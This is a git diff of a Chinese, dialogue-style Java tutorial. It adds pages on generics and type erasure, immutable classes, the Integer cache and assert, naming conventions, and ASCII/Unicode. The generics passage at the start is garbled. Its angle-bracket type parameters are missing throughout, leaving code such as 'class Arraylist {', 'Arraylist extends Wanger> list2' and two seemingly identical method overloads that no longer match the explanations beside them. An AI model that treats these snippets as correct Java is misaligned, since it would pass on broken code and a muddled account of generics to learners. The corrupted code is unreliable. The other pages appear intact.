+list.add("默");
+list.add("王");
+list.add("二");
+
+String [] strs = new String [4];
+strs = list.toArray(strs);
+
+for (String str : strs) {
+ System.out.println(str);
+}
+```
+
+然后,我们再来说说泛型变量的限定符 `extends`。
+
+在解释这个限定符之前,我们假设有三个类,它们之间的定义是这样的。
+
+```java
+class Wanglaoer {
+ public String toString() {
+ return "王老二";
+ }
+}
+
+class Wanger extends Wanglaoer{
+ public String toString() {
+ return "王二";
+ }
+}
+
+class Wangxiaoer extends Wanger{
+ public String toString() {
+ return "王小二";
+ }
+}
+```
+
+我们使用限定符 `extends` 来重新设计一下 `Arraylist` 类。
+
+```java
+class Arraylist {
+}
+```
+
+当我们向 `Arraylist` 中添加 `Wanglaoer` 元素的时候,编译器会提示错误:`Arraylist` 只允许添加 `Wanger` 及其子类 `Wangxiaoer` 对象,不允许添加其父类 `Wanglaoer`。
+
+```java
+Arraylist list = new Arraylist<>(3);
+list.add(new Wanger());
+list.add(new Wanglaoer());
+// The method add(Wanger) in the type Arraylist is not applicable for the arguments
+// (Wanglaoer)
+list.add(new Wangxiaoer());
+```
+
+也就是说,限定符 `extends` 可以缩小泛型的类型范围。
+
+“哦,明白了。”三妹若有所思的点点头,“二哥,听说虚拟机没有泛型?”
+
+“三妹,你功课做得可以啊。哥可以肯定地回答你,虚拟机是没有泛型的。”
+
+“怎么确定虚拟机有没有泛型呢?”三妹问。
+
+“只要我们把泛型类的字节码进行反编译就看到了!”用反编译工具将 class 文件反编译后,我说,“三妹,你看。”
+
+```java
+// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
+// Jad home page: http://www.kpdus.com/jad.html
+// Decompiler options: packimports(3)
+// Source File Name: Arraylist.java
+
+package com.cmower.java_demo.fanxing;
+
+import java.util.Arrays;
+
+class Arraylist
+{
+
+ public Arraylist(int initialCapacity)
+ {
+ size = 0;
+ elementData = new Object[initialCapacity];
+ }
+
+ public boolean add(Object e)
+ {
+ elementData[size++] = e;
+ return true;
+ }
+
+ Object elementData(int index)
+ {
+ return elementData[index];
+ }
+
+ private Object elementData[];
+ private int size;
+}
+```
+
+类型变量 `` 消失了,取而代之的是 Object !
+
+“既然如此,那如果泛型类使用了限定符 `extends`,结果会怎么样呢?”三妹这个问题问的很巧妙。
+
+来看这段代码。
+
+```java
+class Arraylist2 {
+ private Object[] elementData;
+ private int size = 0;
+
+ public Arraylist2(int initialCapacity) {
+ this.elementData = new Object[initialCapacity];
+ }
+
+ public boolean add(E e) {
+ elementData[size++] = e;
+ return true;
+ }
+
+ E elementData(int index) {
+ return (E) elementData[index];
+ }
+}
+```
+
+反编译后的结果如下。
+
+```java
+// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
+// Jad home page: http://www.kpdus.com/jad.html
+// Decompiler options: packimports(3)
+// Source File Name: Arraylist2.java
+
+package com.cmower.java_demo.fanxing;
+
+
+// Referenced classes of package com.cmower.java_demo.fanxing:
+// Wanger
+
+class Arraylist2
+{
+
+ public Arraylist2(int initialCapacity)
+ {
+ size = 0;
+ elementData = new Object[initialCapacity];
+ }
+
+ public boolean add(Wanger e)
+ {
+ elementData[size++] = e;
+ return true;
+ }
+
+ Wanger elementData(int index)
+ {
+ return (Wanger)elementData[index];
+ }
+
+ private Object elementData[];
+ private int size;
+}
+```
+
+“你看,类型变量 `` 不见了,E 被替换成了 `Wanger`”,我说,“通过以上两个例子说明,Java 虚拟机会将泛型的类型变量擦除,并替换为限定类型(没有限定的话,就用 `Object`)”
+
+“二哥,类型擦除会有什么问题吗?”三妹又问了一个很有水平的问题。
+
+“三妹啊,你还别说,类型擦除真的会有一些问题。”我说,“来看一下这段代码。”
+
+```java
+public class Cmower {
+
+ public static void method(Arraylist list) {
+ System.out.println("Arraylist list");
+ }
+
+ public static void method(Arraylist list) {
+ System.out.println("Arraylist list");
+ }
+
+}
+```
+
+在浅层的意识上,我们会想当然地认为 `Arraylist list` 和 `Arraylist list` 是两种不同的类型,因为 String 和 Date 是不同的类。
+
+但由于类型擦除的原因,以上代码是不会通过编译的——编译器会提示一个错误(这正是类型擦除引发的那些“问题”):
+
+>Erasure of method method(Arraylist) is the same as another method in type
+ Cmower
+>
+>Erasure of method method(Arraylist) is the same as another method in type
+ Cmower
+
+大致的意思就是,这两个方法的参数类型在擦除后是相同的。
+
+也就是说,`method(Arraylist list)` 和 `method(Arraylist list)` 是同一种参数类型的方法,不能同时存在。类型变量 `String` 和 `Date` 在擦除后会自动消失,method 方法的实际参数是 `Arraylist list`。
+
+有句俗话叫做:“百闻不如一见”,但即使见到了也未必为真——泛型的擦除问题就可以很好地佐证这个观点。
+
+“哦,明白了。二哥,听说泛型还有通配符?”
+
+“三妹啊,哥突然觉得你很适合作一枚可爱的程序媛啊!你这预习的功课做得可真到家啊,连通配符都知道!”
+
+通配符使用英文的问号(?)来表示。在我们创建一个泛型对象时,可以使用关键字 `extends` 限定子类,也可以使用关键字 `super` 限定父类。
+
+我们来看下面这段代码。
+
+```java
+class Arraylist {
+ private Object[] elementData;
+ private int size = 0;
+
+ public Arraylist(int initialCapacity) {
+ this.elementData = new Object[initialCapacity];
+ }
+
+ public boolean add(E e) {
+ elementData[size++] = e;
+ return true;
+ }
+
+ public E get(int index) {
+ return (E) elementData[index];
+ }
+
+ public int indexOf(Object o) {
+ if (o == null) {
+ for (int i = 0; i < size; i++)
+ if (elementData[i]==null)
+ return i;
+ } else {
+ for (int i = 0; i < size; i++)
+ if (o.equals(elementData[i]))
+ return i;
+ }
+ return -1;
+ }
+
+ public boolean contains(Object o) {
+ return indexOf(o) >= 0;
+ }
+
+ public String toString() {
+ StringBuilder sb = new StringBuilder();
+
+ for (Object o : elementData) {
+ if (o != null) {
+ E e = (E)o;
+ sb.append(e.toString());
+ sb.append(',').append(' ');
+ }
+ }
+ return sb.toString();
+ }
+
+ public int size() {
+ return size;
+ }
+
+ public E set(int index, E element) {
+ E oldValue = (E) elementData[index];
+ elementData[index] = element;
+ return oldValue;
+ }
+}
+```
+
+1)新增 `indexOf(Object o)` 方法,判断元素在 `Arraylist` 中的位置。注意参数为 `Object` 而不是泛型 `E`。
+
+2)新增 `contains(Object o)` 方法,判断元素是否在 `Arraylist` 中。注意参数为 `Object` 而不是泛型 `E`。
+
+3)新增 `toString()` 方法,方便对 `Arraylist` 进行打印。
+
+4)新增 `set(int index, E element)` 方法,方便对 `Arraylist` 元素的更改。
+
+因为泛型擦除的原因,`Arraylist list = new Arraylist();` 这样的语句是无法通过编译的,尽管 Wangxiaoer 是 Wanger 的子类。但如果我们确实需要这种 “向上转型” 的关系,该怎么办呢?这时候就需要通配符来发挥作用了。
+
+利用 ` extends Wanger>` 形式的通配符,可以实现泛型的向上转型,来看例子。
+
+```java
+Arraylist extends Wanger> list2 = new Arraylist<>(4);
+list2.add(null);
+// list2.add(new Wanger());
+// list2.add(new Wangxiaoer());
+
+Wanger w2 = list2.get(0);
+// Wangxiaoer w3 = list2.get(1);
+```
+
+list2 的类型是 `Arraylist extends Wanger>`,翻译一下就是,list2 是一个 `Arraylist`,其类型是 `Wanger` 及其子类。
+
+注意,“关键”来了!list2 并不允许通过 `add(E e)` 方法向其添加 `Wanger` 或者 `Wangxiaoer` 的对象,唯一例外的是 `null`。
+
+“那就奇了怪了,既然不让存放元素,那要 `Arraylist extends Wanger>` 这样的 list2 有什么用呢?”三妹好奇地问。
+
+虽然不能通过 `add(E e)` 方法往 list2 中添加元素,但可以给它赋值。
+
+```java
+Arraylist list = new Arraylist<>(4);
+
+Wanger wanger = new Wanger();
+list.add(wanger);
+
+Wangxiaoer wangxiaoer = new Wangxiaoer();
+list.add(wangxiaoer);
+
+Arraylist extends Wanger> list2 = list;
+
+Wanger w2 = list2.get(1);
+System.out.println(w2);
+
+System.out.println(list2.indexOf(wanger));
+System.out.println(list2.contains(new Wangxiaoer()));
+```
+
+`Arraylist extends Wanger> list2 = list;` 语句把 list 的值赋予了 list2,此时 `list2 == list`。由于 list2 不允许往其添加其他元素,所以此时它是安全的——我们可以从容地对 list2 进行 `get()`、`indexOf()` 和 `contains()`。想一想,如果可以向 list2 添加元素的话,这 3 个方法反而变得不太安全,它们的值可能就会变。
+
+利用 ` super Wanger>` 形式的通配符,可以向 Arraylist 中存入父类是 `Wanger` 的元素,来看例子。
+
+```java
+Arraylist super Wanger> list3 = new Arraylist<>(4);
+list3.add(new Wanger());
+list3.add(new Wangxiaoer());
+
+// Wanger w3 = list3.get(0);
+```
+
+需要注意的是,无法从 `Arraylist super Wanger>` 这样类型的 list3 中取出数据。
+
+“三妹,关于泛型,这里还有一篇很不错的文章,你等会去看一下。”我说。
+
+>https://www.pdai.tech/md/java/basic/java-basic-x-generic.html
+
+“对泛型机制讲的也很透彻,你结合二哥给你讲的这些,再深入的学习一下。”
+
+“好的,二哥。”
+
+
diff --git a/docs/basic-extra-meal/immutable.md b/docs/basic-extra-meal/immutable.md
new file mode 100644
index 0000000000..bdd188ae44
--- /dev/null
+++ b/docs/basic-extra-meal/immutable.md
@@ -0,0 +1,200 @@
+
+
+>二哥,你能给我说说为什么 String 是 immutable 类(不可变对象)吗?我想研究它,想知道为什么它就不可变了,这种强烈的愿望就像想研究浩瀚的星空一样。但无奈自身功力有限,始终觉得雾里看花终隔一层。二哥你的文章总是充满趣味性,我想一定能够说明白,我也一定能够看明白,能在接下来写一写吗?
+
+收到读者小 R 的私信后,我就总感觉自己有一种义不容辞的责任,非要把 immutable 类说明白不可!
+
+*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 523 枚星标,铁子们赶紧去点点了,冲 600 star*!
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+
+### 01、什么是不可变类
+
+一个类的对象在通过构造方法创建后如果状态不会再被改变,那么它就是一个不可变(immutable)类。它的所有成员变量的赋值仅在构造方法中完成,不会提供任何 setter 方法供外部类去修改。
+
+还记得《神雕侠侣》中小龙女的古墓吗?随着那一声巨响,仅有的通道就被无情地关闭了。别较真那个密道,我这么说只是为了打开你的想象力,让你对不可变类有一个更直观的印象。
+
+自从有了多线程,生产力就被无限地放大了,所有的程序员都爱它,因为强大的硬件能力被充分地利用了。但与此同时,所有的程序员都对它心生忌惮,因为一不小心,多线程就会把对象的状态变得混乱不堪。
+
+为了保护状态的原子性、可见性、有序性,我们程序员可以说是竭尽所能。其中,synchronized(同步)关键字是最简单最入门的一种解决方案。
+
+假如说类是不可变的,那么对象的状态就也是不可变的。这样的话,每次修改对象的状态,就会产生一个新的对象供不同的线程使用,我们程序员就不必再担心并发问题了。
+
+### 02、常见的不可变类
+
+提到不可变类,几乎所有的程序员第一个想到的,就是 String 类。那为什么 String 类要被设计成不可变的呢?
+
+1)常量池的需要
+
+字符串常量池是 Java 堆内存中一个特殊的存储区域,当创建一个 String 对象时,假如此字符串在常量池中不存在,那么就创建一个;假如已经存,就不会再创建了,而是直接引用已经存在的对象。这样做能够减少 JVM 的内存开销,提高效率。
+
+2)hashCode 的需要
+
+因为字符串是不可变的,所以在它创建的时候,其 hashCode 就被缓存了,因此非常适合作为哈希值(比如说作为 HashMap 的键),多次调用只返回同一个值,来提高效率。
+
+3)线程安全
+
+就像之前说的那样,如果对象的状态是可变的,那么在多线程环境下,就很容易造成不可预期的结果。而 String 是不可变的,就可以在多个线程之间共享,不需要同步处理。
+
+因此,当我们调用 String 类的任何方法(比如说 `trim()`、`substring()`、`toLowerCase()`)时,总会返回一个新的对象,而不影响之前的值。
+
+```java
+String cmower = "沉默王二,一枚有趣的程序员";
+cmower.substring(0,4);
+System.out.println(cmower);// 沉默王二,一枚有趣的程序员
+```
+
+虽然调用 `substring()` 方法对 cmower 进行了截取,但 cmower 的值没有改变。
+
+除了 String 类,包装器类 Integer、Long 等也是不可变类。
+
+### 03、手撸不可变类
+
+看懂一个不可变类也许容易,但要创建一个自定义的不可变类恐怕就有点难了。但知难而进是我们作为一名优秀的程序员不可或缺的品质,正因为不容易,我们才能真正地掌握它。
+
+接下来,就请和我一起,来自定义一个不可变类吧。一个不可变诶,必须要满足以下 4 个条件:
+
+1)确保类是 final 的,不允许被其他类继承。
+
+2)确保所有的成员变量(字段)是 final 的,这样的话,它们就只能在构造方法中初始化值,并且不会在随后被修改。
+
+3)不要提供任何 setter 方法。
+
+4)如果要修改类的状态,必须返回一个新的对象。
+
+按照以上条件,我们来自定义一个简单的不可变类 Writer。
+
+```java
+public final class Writer {
+ private final String name;
+ private final int age;
+
+ public Writer(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public String getName() {
+ return name;
+ }
+}
+```
+
+Writer 类是 final 的,name 和 age 也是 final 的,没有 setter 方法。
+
+OK,据说这个作者分享了很多博客,广受读者的喜爱,因此某某出版社找他写了一本书(Book)。Book 类是这样定义的:
+
+```java
+public class Book {
+ private String name;
+ private int price;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getPrice() {
+ return price;
+ }
+
+ public void setPrice(int price) {
+ this.price = price;
+ }
+
+ @Override
+ public String toString() {
+ return "Book{" +
+ "name='" + name + '\'' +
+ ", price=" + price +
+ '}';
+ }
+}
+```
+
+2 个字段,分别是 name 和 price,以及 getter 和 setter,重写后的 `toString()` 方法。然后,在 Writer 类中追加一个可变对象字段 book。
+
+```java
+public final class Writer {
+ private final String name;
+ private final int age;
+ private final Book book;
+
+ public Writer(String name, int age, Book book) {
+ this.name = name;
+ this.age = age;
+ this.book = book;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public Book getBook() {
+ return book;
+ }
+}
+```
+
+并在构造方法中追加了 Book 参数,以及 Book 的 getter 方法。
+
+完成以上工作后,我们来新建一个测试类,看看 Writer 类的状态是否真的不可变。
+
+```java
+public class WriterDemo {
+ public static void main(String[] args) {
+ Book book = new Book();
+ book.setName("Web全栈开发进阶之路");
+ book.setPrice(79);
+
+ Writer writer = new Writer("沉默王二",18, book);
+ System.out.println("定价:" + writer.getBook());
+ writer.getBook().setPrice(59);
+ System.out.println("促销价:" + writer.getBook());
+ }
+}
+```
+
+程序输出的结果如下所示:
+
+```java
+定价:Book{name='Web全栈开发进阶之路', price=79}
+促销价:Book{name='Web全栈开发进阶之路', price=59}
+```
+
+糟糕,Writer 类的不可变性被破坏了,价格发生了变化。为了解决这个问题,我们需要为不可变类的定义规则追加一条内容:
+
+如果一个不可变类中包含了可变类的对象,那么就需要确保返回的是可变对象的副本。也就是说,Writer 类中的 `getBook()` 方法应该修改为:
+
+```java
+public Book getBook() {
+ Book clone = new Book();
+ clone.setPrice(this.book.getPrice());
+ clone.setName(this.book.getName());
+ return clone;
+}
+```
+
+这样的话,构造方法初始化后的 Book 对象就不会再被修改了。此时,运行 WriterDemo,就会发现价格不再发生变化了。
+
+```
+定价:Book{name='Web全栈开发进阶之路', price=79}
+促销价:Book{name='Web全栈开发进阶之路', price=79}
+```
+
+### 04、总结
+
+不可变类有很多优点,就像之前提到的 String 类那样,尤其是在多线程环境下,它非常的安全。尽管每次修改都会创建一个新的对象,增加了内存的消耗,但这个缺点相比它带来的优点,显然是微不足道的——无非就是捡了西瓜,丢了芝麻。
+
diff --git a/docs/basic-extra-meal/int-cache.md b/docs/basic-extra-meal/int-cache.md
new file mode 100644
index 0000000000..6440e50504
--- /dev/null
+++ b/docs/basic-extra-meal/int-cache.md
@@ -0,0 +1,163 @@
+
+
+“三妹,今天我们来补一个小的知识点:Java 数据类型缓存池。”我喝了一口枸杞泡的茶后对三妹说,“考你一个问题哈:`new Integer(18) 与 Integer.valueOf(18) ` 的区别是什么?”
+
+“难道不一样吗?”三妹有点诧异。
+
+“不一样的。”我笑着说。
+
+- `new Integer(18)` 每次都会新建一个对象;
+- `Integer.valueOf(18)` 会使⽤用缓存池中的对象,多次调用只会取同⼀一个对象的引用。
+
+来看下面这段代码:
+
+```java
+Integer x = new Integer(18);
+Integer y = new Integer(18);
+System.out.println(x == y);
+
+Integer z = Integer.valueOf(18);
+Integer k = Integer.valueOf(18);
+System.out.println(z == k);
+
+Integer m = Integer.valueOf(300);
+Integer p = Integer.valueOf(300);
+System.out.println(m == p);
+```
+
+来看一下输出结果吧:
+
+```
+false
+true
+false
+```
+
+“第一个 false,我知道原因,因为 new 出来的是不同的对象,地址不同。”三妹解释道,“第二个和第三个我认为都应该是 true 啊,为什么第三个会输出 false 呢?这个我理解不了。”
+
+“其实原因也很简单。”我胸有成竹地说。
+
+基本数据类型的包装类除了 Float 和 Double 之外,其他六个包装器类(Byte、Short、Integer、Long、Character、Boolean)都有常量缓存池。
+
+- Byte:-128~127,也就是所有的 byte 值
+- Short:-128~127
+- Long:-128~127
+- Character:\u0000 - \u007F
+- Boolean:true 和 false
+
+拿 Integer 来举例子,Integer 类内部中内置了 256 个 Integer 类型的缓存数据,当使用的数据范围在 -128~127 之间时,会直接返回常量池中数据的引用,而不是创建对象,超过这个范围时会创建新的对象。
+
+ 18 在 -128~127 之间,300 不在。
+
+来看一下 valueOf 方法的源码吧。
+
+```java
+public static Integer valueOf(int i) {
+ if (i >=IntegerCache.low && i <=IntegerCache.high)
+ return IntegerCache.cache[i + (-IntegerCache.low)];
+ return new Integer(i);
+}
+```
+
+“哦,原来是因为 Integer.IntegerCache 这个内部类的原因啊!”三妹好像发现了新大陆。
+
+“是滴。来看一下 IntegerCache 这个静态内部类的源码吧。”
+
+```java
+private static class IntegerCache {
+ static final int low = -128;
+ static final int high;
+ static final Integer cache[];
+
+ static {
+ // high value may be configured by property
+ int h = 127;
+ String integerCacheHighPropValue =
+ sun.misc.VM.getSavedProperty("java.lang.Integer.IntegerCache.high");
+ if (integerCacheHighPropValue != null) {
+ try {
+ int i = parseInt(integerCacheHighPropValue);
+ i = Math.max(i, 127);
+ // Maximum array size is Integer.MAX_VALUE
+ h = Math.min(i, Integer.MAX_VALUE - (-low) -1);
+ } catch( NumberFormatException nfe) {
+ // If the property cannot be parsed into an int, ignore it.
+ }
+ }
+ high = h;
+
+ cache = new Integer[(high - low) + 1];
+ int j = low;
+ for(int k = 0; k < cache.length; k++)
+ cache[k] = new Integer(j++);
+
+ // range [-128, 127] must be interned (JLS7 5.1.7)
+ assert Integer.IntegerCache.high >= 127;
+ }
+
+ private IntegerCache() {}
+}
+```
+
+
+
+之前我们在[学习 static 关键字](https://github.com/itwanger/toBeBetterJavaer/blob/master/docs/keywords/java-static.md)的时候,提到过静态代码块,还记得吧?三妹。静态代码块通常用来初始化一些静态变量,它会优先于 main() 方法执行。
+
+在静态代码块中,low 为 -128,也就是缓存池的最小值;high 默认为 127,也就是缓存池的最大值,共计 256 个。
+
+*可以在 JVM 启动的时候,通过 `-XX:AutoBoxCacheMax=NNN` 来设置缓存池的大小,当然了,不能无限大,最大到 `Integer.MAX_VALUE -129`*
+
+之后,初始化 cache 数组的大小,然后遍历填充,下标从 0 开始。
+
+“明白了吧?三妹。”我喝了一口水后,扭头看了看旁边的三妹。
+
+“这段代码不难理解,难理解的是 `assert Integer.IntegerCache.high >= 127;`,这行代码是干嘛的呀?”三妹很是不解。
+
+“哦哦,你挺细心的呀!”三妹真不错,求知欲望越来越强烈了。
+
+assert 是 Java 中的一个关键字,寓意是断言,为了方便调试程序,并不是发布程序的组成部分。
+
+默认情况下,断言是关闭的,可以在命令行运行 Java 程序的时候加上 `-ea` 参数打开断言。
+
+来看这段代码。
+
+```java
+public class AssertTest {
+ public static void main(String[] args) {
+ int high = 126;
+ assert high >= 127;
+ }
+}
+```
+
+假设手动设置的缓存池大小为 126,显然不太符合缓存池的预期值 127,结果会输出什么呢?
+
+直接在 Intellij IDEA 中打开命令行终端,进入 classes 文件,执行:
+
+```
+ /usr/libexec/java_home -v 1.8 --exec java -ea com.itwanger.s51.AssertTest
+```
+
+*我用的 macOS 环境,装了好多个版本的 JDK,该命令可以切换到 JDK 8*
+
+也可以不指定 Java 版本直接执行(加上 `-ea` 参数):
+
+```
+java -ea com.itwanger.s51.AssertTest
+```
+
+“呀,报错了呀。”三妹喊道。
+
+```
+Exception in thread "main" java.lang.AssertionError
+ at com.itwanger.s51.AssertTest.main(AssertTest.java:9)
+```
+
+“是滴,因为 126 小于 127。”我回答道。
+
+“原来 asset 是这样用的啊,我明白了。”三妹表示学会了。
+
+“那,缓存池之所以存在的原因也是因为这样做可以提高程序的整体性能,因为相对来说,比如说 Integer,-128~127 这个范围内的 256 个数字使用的频率会高一点。”我总结道。
+
+“get 了!二哥你真棒,又学到了。”三妹很开心~
+
diff --git a/docs/src/basic-extra-meal/java-naming.md b/docs/basic-extra-meal/java-naming.md
similarity index 81%
rename from docs/src/basic-extra-meal/java-naming.md
rename to docs/basic-extra-meal/java-naming.md
index 10e6e3663a..53f9a52865 100644
--- a/docs/src/basic-extra-meal/java-naming.md
+++ b/docs/basic-extra-meal/java-naming.md
@@ -1,17 +1,3 @@
----
-title: 5 分钟编码,1 小时命名,笑
-shortTitle: Java命名规范
-category:
- - Java核心
-tag:
- - Java语法基础
-description: 本文介绍了Java编程中的命名规范,以帮助程序员编写可读性强、易于维护的代码。我们将从变量、方法、类和接口命名等方面讲解最佳实践,以便在项目中保持一致的代码风格。学习并实践这些命名规范,将使你成为更出色的Java程序员。
-author: 沉默王二
-head:
- - - meta
- - name: keywords
- content: Java,Java命名规范, 变量命名, 方法命名, 类命名, 接口命名, 代码风格, 代码质量
----
“二哥,Java 中的命名约定都有哪些呢?”三妹的脸上泛着甜甜的笑容,她开始对接下来要学习的内容充满期待了,这正是我感到欣慰的地方。
@@ -25,27 +11,32 @@ head:
拿我这个笔名“沉默王二”来举例吧,读起来我就觉得朗朗上口,读者看到这个笔名就知道我是一个什么样的人——对不熟的人保持沉默,对熟的人妙语连珠,哈哈。
->当然了,如果你暂时记不住也没关系,后面再回头来记一下就好了。
-
### 01、包(package)
包的命名应该遵守以下规则:
- 应该全部是小写字母
+
- 点分隔符之间有且仅有一个自然语义的英语单词
+
- 包名统一使用单数形式,比如说 `com.itwanger.util` 不能是 `com.itwanger.utils`
+
- 在最新的 Java 编程规范中,要求开发人员在自己定义的包名前加上唯一的前缀。由于互联网上的域名是不会重复的,所以多数开发人员采用自己公司(或者个人博客)在互联网上的域名称作为包的唯一前缀。比如我文章中出现的代码示例的包名就是 `package com.itwanger`。
+
### 02、类(class)
类的命名应该遵守以下规则:
- 必须以大写字母开头
+
- 最好是一个名词,比如说 System
+
- 类名使用 UpperCamelCase(驼峰式命名)风格
-- 尽量不要省略成单词的首字母,但以下情形例外:DO/BO/DTO/VO/AO/PO/UID 等
-
+- 尽量不要省略成单词的首字母,但以下情形例外:DO/BO/DTO/VO/AO/ PO / UID 等
+
+
另外,如果是抽象类的话,使用 Abstract 或 Base 开头;如果是异常类的话,使用 Exception 结尾;如果是测试类的话,使用 Test 结尾。
@@ -54,7 +45,9 @@ head:
接口的命名应该遵守以下规则:
- 必须以大写字母开头
+
- 最好是一个形容词,比如说 Runnable
+
- 尽量不要省略成单词的首字母
来看个例子:
@@ -66,6 +59,7 @@ interface Printable {}
接口和实现类之间也有一些规则:
- 实现类用 Impl 的后缀与接口区别,比如说 CacheServiceImpl 实现 CacheService 接口
+
- 或者,AbstractTranslator 实现 Translatable 接口
### 04、字段(field)和变量(variable)
@@ -73,10 +67,15 @@ interface Printable {}
字段和变量的命名应该遵守以下规则:
- 必须以小写字母开头
+
- 可以包含多个单词,第一个单词的首字母小写,其他的单词首字母大写,比如说 `firstName`
+
- 最好不要使用单个字符,比如说 `int a`,除非是局部变量
+
- 类型与中括号紧挨相连来表示数组,比如说 `int[] arrayDemo`,main 方法中字符串数组参数不应该写成 `String args[]`
+
- POJO 类中的任何布尔类型的变量,都不要加 is 前缀,否则部分框架解析会引起序列化错误,我自己知道的有 fastjson
+
- 避免在子类和父类的成员变量之间、或者不同代码块的局部变量之间采用完全相同的命名,使可理解性降低。子类、父类成员变量名相同,即使是 public 类型的变量也能够通过编译,另外,局部变量在同一方法内的不同代码块中同名也是合法的,这些情况都要避免。
反例:
@@ -108,7 +107,9 @@ class Son extends ConfusingName {
常量的命名应该遵守以下规则:
- 应该全部是大写字母
+
- 可以包含多个单词,单词之间使用“_”连接,比如说 `MAX_PRIORITY`,力求语义表达完整清楚,不要嫌名字长
+
- 可以包含数字,但不能以数字开头
来看个例子:
@@ -117,12 +118,15 @@ class Son extends ConfusingName {
static final int MIN_AGE = 18;
```
+
### 06、方法(method)
方法的命名应该遵守以下规则:
- 必须以小写字母开头
+
- 最好是一个动词,比如说 `print()`
+
- 可以包含多个单词,第一个单词的首字母小写,其他的单词首字母大写,比如说 `actionPerformed()`
来看个例子:
@@ -134,10 +138,15 @@ void writeBook(){}
Service/DAO 层的方法命名规约:
- 获取单个对象的方法用 get 做前缀
+
- 获取多个对象的方法用 list 做前缀,复数结尾,如:listObjects
+
- 获取统计值的方法用 count 做前缀
+
- 插入的方法用 save/insert 做前缀
+
- 删除的方法用 remove/delete 做前缀
+
- 修改的方法用 update 做前缀
@@ -157,9 +166,6 @@ Service/DAO 层的方法命名规约:
-----
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/docs/basic-extra-meal/java-unicode.md b/docs/basic-extra-meal/java-unicode.md
new file mode 100644
index 0000000000..dcbb6c8f90
--- /dev/null
+++ b/docs/basic-extra-meal/java-unicode.md
@@ -0,0 +1,166 @@
+
+
+“二哥,[上一篇](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)文章中提到了 Unicode,说 Java 中的
+ char 类型之所以占 2 个字节,是因为 Java 使用的是 Unicode 字符集而不是 ASCII 字符集,我有点迷,想了解一下,能细致给我说说吗?”
+
+“当然没问题啊,三妹。”
+
+**1)ASCII**
+
+对于计算机来说,只认 0 和 1,所有的信息最终都是一个二进制数。一个二进制数要么是 0,要么是 1,所以 8 个二进制数放在一起(一个字节),就会组合出 256 种状态,也就是 2 的 8 次方(`2^8`),从 00000000 到 11111111。
+
+ASCII 码由电报码发展而来,第一版标准发布于 1963 年,最后一次更新则是在1986 年,至今为止共定义了 128 个字符。其中 33 个字符无法显示在一般的设备上,需要用特殊的设备才能显示。
+
+ASCII 码的局限在于只能显示 26 个基本拉丁字母、阿拉伯数字和英式标点符号,因此只能用于显示现代美国英语,对于其他一些语言则无能无力,比如在法语中,字母上方有注音符号,它就无法用 ASCII 码表示。
+
+
+
+PS:拉丁字母(也称为罗马字母)是多数欧洲语言采用的字母系统,是世界上最通行的字母文字系统,是罗马文明的成果之一。
+
+虽然名称上叫作拉丁字母,但拉丁文中并没有用 J、U 和 W 这三个字母。
+
+在我们的印象中,可能说拉丁字母多少有些陌生,说英语字母可能就有直观的印象了。
+
+
+
+PPS:阿拉伯数字,我们都很熟悉了。
+
+
+
+但是,阿拉伯数字并非起源于阿拉伯,而是起源于古印度。学过历史的我们应该有一些印象,阿拉伯分布于西亚和北非,以阿拉伯语为主要语言,以伊斯兰教为主要信仰。
+
+
+
+处在这样的地理位置,做起东亚和欧洲的一些生意就很有优势,于是阿拉伯数字就由阿拉伯人传到了欧洲,因此得名。
+
+PPPS:英式标点符号,也叫英文标点符号,和中文标点符号很相近。标点符号是辅助文字记录语言的符号,是书面语的组成部分,用来表示停顿、加强语气等。
+
+英文标点符号在 16 世纪时,分为朗诵学派和句法学派,主要由古典时期的希腊文和拉丁文演变而来,在 17 世纪后进入稳定阶段。俄文的标点符号依据希腊文而来,到了 18 世纪后也采用了英文标点符号。
+
+在很多人的印象中,古文是没有标点符号的,但管锡华博士研究指出,中国早在先秦时代就有标点符号了,后来融合了一些英文标点符号后,逐渐形成了现在的中文标点符号。
+
+
+
+
+**2)Unicode**
+
+这个世界上,除了英语,还有法语、葡萄牙语、西班牙语、德语、俄语、阿拉伯语、韩语、日语等等等等。ASCII 码用来表示英语是绰绰有余的,但其他这些语言就没办法了。
+
+像我们的母语,博大精深,汉字的数量很多很多,东汉的《说文解字》收字 9353 个,清朝《康熙字典》收字 47035 个,当代的《汉语大字典》收字 60370 个。1994 年中华书局、中国友谊出版公司出版的《中华字海》收字 85568 个。
+
+PS:常用字大概 2500 个,次常用字 1000 个。
+
+一个字节只能表示 256 种符号,所以如果拿 ASCII 码来表示汉字的话,是远远不够用的,那就必须要用更多的字节。简体中文常见的编码方式是 GB2312,使用两个字节表示一个汉字,理论上最多可以表示 256 x 256 = 65536 个符号。
+
+要知道,世界上存在着多种编码方式,同一个二进制数字可以被解释成不同的符号。因此,要想打开一个文本文件,就必须知道它的编码方式,否则用错误的编码方式解读,就会出现乱码。
+
+
+
+PPS:这“锟斤拷”价格挺公道的啊!!!(逃
+
+如果有一种编码,将世界上所有的符号都纳入其中。每一个符号都给予一个独一无二的编码,那么乱码问题就会彻底消失。
+
+这个艰巨的任务有谁来完成呢?**Unicode**,中文译作万国码、国际码、统一码、单一码,就像它的名字都表示的,这是一种所有符号的编码。
+
